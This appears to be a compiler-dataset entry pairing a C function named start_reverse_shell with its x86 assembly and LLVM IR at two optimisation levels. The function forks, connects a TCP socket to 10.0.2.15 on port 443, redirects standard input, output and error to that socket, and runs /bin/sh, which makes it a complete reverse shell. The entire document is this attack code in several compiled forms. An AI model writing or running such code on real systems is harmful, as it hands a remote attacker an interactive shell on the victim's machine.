#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ sa;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/, int /*<<< orphan*/);
int fork();
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ printf(char *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int start_reverse_shell(char *ip, unsigned int port) {
  struct sockaddr_in sa;
  int s;
  int pid = fork();
  if (pid == 0) {
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("10.0.2.15");
    sa.sin_port = htons(443);
    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    printf("reverse shell process\n");
    execve("/bin/sh", 0, 0);
    return 0;
  } else {
    return 1;
  }
}


x86 assembly (clang, -O0):
<start_reverse_shell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x10(%rbp)
mov    %esi,-0x14(%rbp)
mov    $0x0,%al
call   1090 <fork@plt>
mov    %eax,-0x28(%rbp)
cmpl   $0x0,-0x28(%rbp)
jne    1244 <start_reverse_shell+0xc4>
mov    0x2e3e(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x18(%rbp)
lea    0xe4a(%rip),%rdi
call   1070 <inet_addr@plt>
mov    %eax,-0x1c(%rbp)
mov    $0x1bb,%edi
call   1030 <htons@plt>
mov    %eax,-0x20(%rbp)
mov    0x2e16(%rip),%rax
mov    (%rax),%edi
mov    0x2dfd(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10a0 <socket@plt>
mov    %eax,-0x24(%rbp)
mov    -0x24(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0xc,%edx
call   1080 <connect@plt>
mov    -0x24(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x24(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x24(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xde7(%rip),%rdi
call   1050 <printf@plt>
lea    0xdf2(%rip),%rdi
xor    %edx,%edx
mov    %edx,%esi
call   1060 <execve@plt>
movl   $0x0,-0x4(%rbp)
jmp    124b <start_reverse_shell+0xcb>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<start_reverse_shell>:
push   %rbx
sub    $0x10,%rsp
xor    %eax,%eax
call   1090 <fork@plt>
mov    %eax,%ecx
mov    $0x1,%eax
test   %ecx,%ecx
jne    1227 <start_reverse_shell+0xa7>
mov    0x2e46(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0x8(%rsp)
lea    0xe51(%rip),%rdi
call   1070 <inet_addr@plt>
mov    %eax,0x4(%rsp)
mov    $0x1bb,%edi
call   1040 <htons@plt>
mov    %eax,(%rsp)
mov    (%rbx),%edi
mov    0x2e0a(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10a0 <socket@plt>
mov    %eax,%ebx
mov    %rsp,%rsi
mov    %eax,%edi
mov    $0xc,%edx
call   1080 <connect@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
lea    0xe02(%rip),%rdi
call   1030 <puts@plt>
lea    0xdee(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbx
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@.str = [10 x i8] c"10.0.2.15\00"
@SOCK_STREAM = global i32 0
@.str.1 = [23 x i8] c"reverse shell process\0A\00"
@.str.2 = [8 x i8] c"/bin/sh\00"
define i32 @start_reverse_shell(i8* %0, i32 %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
%7 = alloca i32
%8 = alloca i32
store i8* %0, i8** %4
store i32 %1, i32* %5
%9 = call i32 (...) @fork()
store i32 %9, i32* %8
%10 = load i32, i32* %8
%11 = icmp eq i32 %10, 0
br i1 %11, label %12, label %34
12: ; preds = %2
%13 = load i32, i32* @AF_INET
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 2
store i32 %13, i32* %14
%15 = call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 1
%17 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %16, i32 0, i32 0
store i32 %15, i32* %17
%18 = call i32 @htons(i32 443)
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 0
store i32 %18, i32* %19
%20 = load i32, i32* @AF_INET
%21 = load i32, i32* @SOCK_STREAM
%22 = call i32 @socket(i32 %20, i32 %21, i32 0)
store i32 %22, i32* %7
%23 = load i32, i32* %7
%24 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%25 = call i32 @connect(i32 %23, %struct.sockaddr* %24, i32 12)
%26 = load i32, i32* %7
%27 = call i32 @dup2(i32 %26, i32 0)
%28 = load i32, i32* %7
%29 = call i32 @dup2(i32 %28, i32 1)
%30 = load i32, i32* %7
%31 = call i32 @dup2(i32 %30, i32 2)
%32 = call i32 @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.1, i64 0, i64 0))
%33 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i32 0, i32 0)
store i32 0, i32* %3
br label %35
34: ; preds = %2
store i32 1, i32* %3
br label %35
35: ; preds = %34, %12
%36 = load i32, i32* %3
ret i32 %36
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@.str = [10 x i8] c"10.0.2.15\00"
@SOCK_STREAM = global i32 0
@.str.2 = [8 x i8] c"/bin/sh\00"
@str = [22 x i8] c"reverse shell process\00"
define i32 @start_reverse_shell(i8* nocapture readnone %0, i32 %1) {
%3 = alloca %struct.sockaddr_in
%4 = bitcast %struct.sockaddr_in* %3 to i8*
%5 = tail call i32 (...) @fork()
%6 = icmp eq i32 %5, 0
br i1 %6, label %7, label %24
7: ; preds = %2
%8 = load i32, i32* @AF_INET
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %8, i32* %9
%10 = tail call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
store i32 %10, i32* %11
%12 = tail call i32 @htons(i32 443)
%13 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
store i32 %12, i32* %13
%14 = load i32, i32* @AF_INET
%15 = load i32, i32* @SOCK_STREAM
%16 = tail call i32 @socket(i32 %14, i32 %15, i32 0)
%17 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%18 = call i32 @connect(i32 %16, %struct.sockaddr* %17, i32 12)
%19 = call i32 @dup2(i32 %16, i32 0)
%20 = call i32 @dup2(i32 %16, i32 1)
%21 = call i32 @dup2(i32 %16, i32 2)
%22 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @str, i64 0, i64 0))
%23 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i32 0, i32 0)
br label %24
24: ; preds = %2, %7
%25 = phi i32 [ 0, %7 ], [ 1, %2 ]
ret i32 %25
}